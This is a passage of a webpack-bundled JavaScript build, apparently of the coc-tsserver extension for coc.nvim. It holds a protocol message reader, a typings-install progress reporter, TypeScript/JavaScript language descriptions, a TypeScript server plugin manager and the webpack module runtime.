this.buffer = new ProtocolBuffer();
this.nextMessageLength = -1;
this.readable.on('data', (data) => {
this.onLengthData(data);
});
}
onLengthData(data) {
try {
this.buffer.append(data);
while (true) {
if (this.nextMessageLength === -1) {
this.nextMessageLength = this.buffer.tryReadContentLength();
if (this.nextMessageLength === -1) {
return;
}
}
const msg = this.buffer.tryReadContent(this.nextMessageLength);
if (msg === null) {
return;
}
this.nextMessageLength = -1;
const json = JSON.parse(msg);
this.callback(json);
}
}
catch (e) {
this.onError(e);
}
}
}
exports.Reader = Reader;
/***/ }),
/* 140 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.AtaProgressReporter = void 0;
const coc_nvim_1 = __webpack_require__(1);
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const typingsInstallTimeout = 30 * 1000;
class TypingsStatus {
constructor(client) {
this._acquiringTypings = Object.create({});
this._subscriptions = [];
this._client = client;
this._subscriptions.push(this._client.onDidBeginInstallTypings(event => this.onBeginInstallTypings(event.eventId)));
this._subscriptions.push(this._client.onDidEndInstallTypings(event => this.onEndInstallTypings(event.eventId)));
}
dispose() {
this._subscriptions.forEach(x => x.dispose());
for (const eventId of Object.keys(this._acquiringTypings)) {
clearTimeout(this._acquiringTypings[eventId]);
}
}
get isAcquiringTypings() {
return Object.keys(this._acquiringTypings).length > 0;
}
onBeginInstallTypings(eventId) {
if (this._acquiringTypings[eventId]) {
return;
}
this._acquiringTypings[eventId] = setTimeout(() => {
this.onEndInstallTypings(eventId);
}, typingsInstallTimeout);
}
onEndInstallTypings(eventId) {
const timer = this._acquiringTypings[eventId];
if (timer) {
clearTimeout(timer);
}
delete this._acquiringTypings[eventId];
}
}
exports.default = TypingsStatus;
class AtaProgressReporter {
constructor(client) {
this._promises = new Map();
this._invalid = false;
this.statusItem = coc_nvim_1.window.createStatusBarItem(10, { progress: true });
const disposables = [];
disposables.push(client.onDidBeginInstallTypings(e => this._onBegin(e.eventId)));
disposables.push(client.onDidEndInstallTypings(e => this._onEndOrTimeout(e.eventId)));
disposables.push(client.onTypesInstallerInitializationFailed(_ => this.onTypesInstallerInitializationFailed()));
this._disposable = vscode_languageserver_protocol_1.Disposable.create(() => {
disposables.forEach(disposable => {
disposable.dispose();
});
});
}
dispose() {
this._disposable.dispose();
this._promises.forEach(value => value());
}
_onBegin(eventId) {
const handle = setTimeout(() => this._onEndOrTimeout(eventId), typingsInstallTimeout);
new Promise(resolve => {
this._promises.set(eventId, () => {
clearTimeout(handle);
resolve();
});
});
this.statusItem.text = 'Fetching data for better TypeScript IntelliSense';
this.statusItem.show();
}
_onEndOrTimeout(eventId) {
this.statusItem.hide();
const resolve = this._promises.get(eventId);
if (resolve) {
this._promises.delete(eventId);
resolve();
}
}
onTypesInstallerInitializationFailed() {
this.statusItem.hide();
if (!this._invalid) {
coc_nvim_1.window.showMessage('Could not install typings files for JavaScript language features. Please ensure that NPM is installed', 'error');
}
this._invalid = true;
}
}
exports.AtaProgressReporter = AtaProgressReporter;
/***/ }),
/* 141 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.standardLanguageDescriptions = void 0;
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const languageModeIds = __importStar(__webpack_require__(123));
exports.standardLanguageDescriptions = [
{
id: 'typescript',
diagnosticSource: 'ts',
diagnosticOwner: 'typescript',
modeIds: [languageModeIds.typescript, languageModeIds.typescriptreact,
languageModeIds.typescripttsx, languageModeIds.typescriptjsx],
diagnosticLanguage: 1 /* TypeScript */,
configFile: 'tsconfig.json',
configFilePattern: /^tsconfig(\..*)?\.json$/gi
},
{
id: 'javascript',
diagnosticSource: 'ts',
diagnosticOwner: 'typescript',
modeIds: [languageModeIds.javascript, languageModeIds.javascriptreact, languageModeIds.javascriptjsx],
diagnosticLanguage: 0 /* JavaScript */,
configFile: 'jsconfig.json',
configFilePattern: /^jsconfig(\..*)?\.json$/gi
}
];
/***/ }),
/* 142 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.PluginManager = void 0;
const coc_nvim_1 = __webpack_require__(1);
const arrays = __importStar(__webpack_require__(34));
const vscode_languageserver_protocol_1 = __webpack_require__(3);
var TypeScriptServerPlugin;
(function (TypeScriptServerPlugin) {
function equals(a, b) {
return a.path === b.path
&& a.name === b.name
&& a.enableForWorkspaceTypeScriptVersions === b.enableForWorkspaceTypeScriptVersions
&& arrays.equals(a.languages, b.languages);
}
TypeScriptServerPlugin.equals = equals;
})(TypeScriptServerPlugin || (TypeScriptServerPlugin = {}));
class PluginManager {
constructor() {
this._pluginConfigurations = new Map();
this._disposables = [];
this._onDidUpdatePlugins = this._register(new vscode_languageserver_protocol_1.Emitter());
this.onDidChangePlugins = this._onDidUpdatePlugins.event;
this._onDidUpdateConfig = this._register(new vscode_languageserver_protocol_1.Emitter());
this.onDidUpdateConfig = this._onDidUpdateConfig.event;
let loadPlugins = () => {
if (!this._plugins) {
return;
}
const newPlugins = this.readPlugins();
if (!arrays.equals(arrays.flatten(Array.from(this._plugins.values())), arrays.flatten(Array.from(newPlugins.values())), TypeScriptServerPlugin.equals)) {
this._plugins = newPlugins;
this._onDidUpdatePlugins.fire(this);
}
};
coc_nvim_1.extensions.onDidActiveExtension(loadPlugins, undefined, this._disposables);
coc_nvim_1.extensions.onDidUnloadExtension(loadPlugins, undefined, this._disposables);
}
dispose() {
coc_nvim_1.disposeAll(this._disposables);
}
get plugins() {
if (!this._plugins) {
this._plugins = this.readPlugins();
}
return arrays.flatten(Array.from(this._plugins.values()));
}
_register(value) {
this._disposables.push(value);
return value;
}
setConfiguration(pluginId, config) {
this._pluginConfigurations.set(pluginId, config);
this._onDidUpdateConfig.fire({ pluginId, config });
}
configurations() {
return this._pluginConfigurations.entries();
}
readPlugins() {
const pluginMap = new Map();
for (const extension of coc_nvim_1.extensions.all) {
const pack = extension.packageJSON;
if (pack.contributes && Array.isArray(pack.contributes.typescriptServerPlugins)) {
const plugins = [];
for (const plugin of pack.contributes.typescriptServerPlugins) {
plugins.push({
name: plugin.name,
enableForWorkspaceTypeScriptVersions: !!plugin.enableForWorkspaceTypeScriptVersions,
path: extension.extensionPath,
languages: Array.isArray(plugin.languages) ? plugin.languages : [],
});
}
if (plugins.length) {
pluginMap.set(extension.id, plugins);
}
}
}
return pluginMap;
}
}
exports.PluginManager = PluginManager;
/***/ })
/******/ ]);
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ if(__webpack_module_cache__[moduleId]) {
/******/ return __webpack_module_cache__[moduleId].exports;
/******/ }
/******/ // Create a new module (and put it into the cache)
/******/ var module = __webpack_module_cache__[moduleId] = {
/******/ // no module.id needed
/******/ // no module.loaded needed
/******/ exports: {}
/******/ };
/******/
/******/ // Execute the module function
/******/ __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => Object.prototype.hasOwnProperty.call(obj, prop)
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
/******/ // module exports must be returned from runtime so entry inlining is disabled
/******/ // startup
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })()
));
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.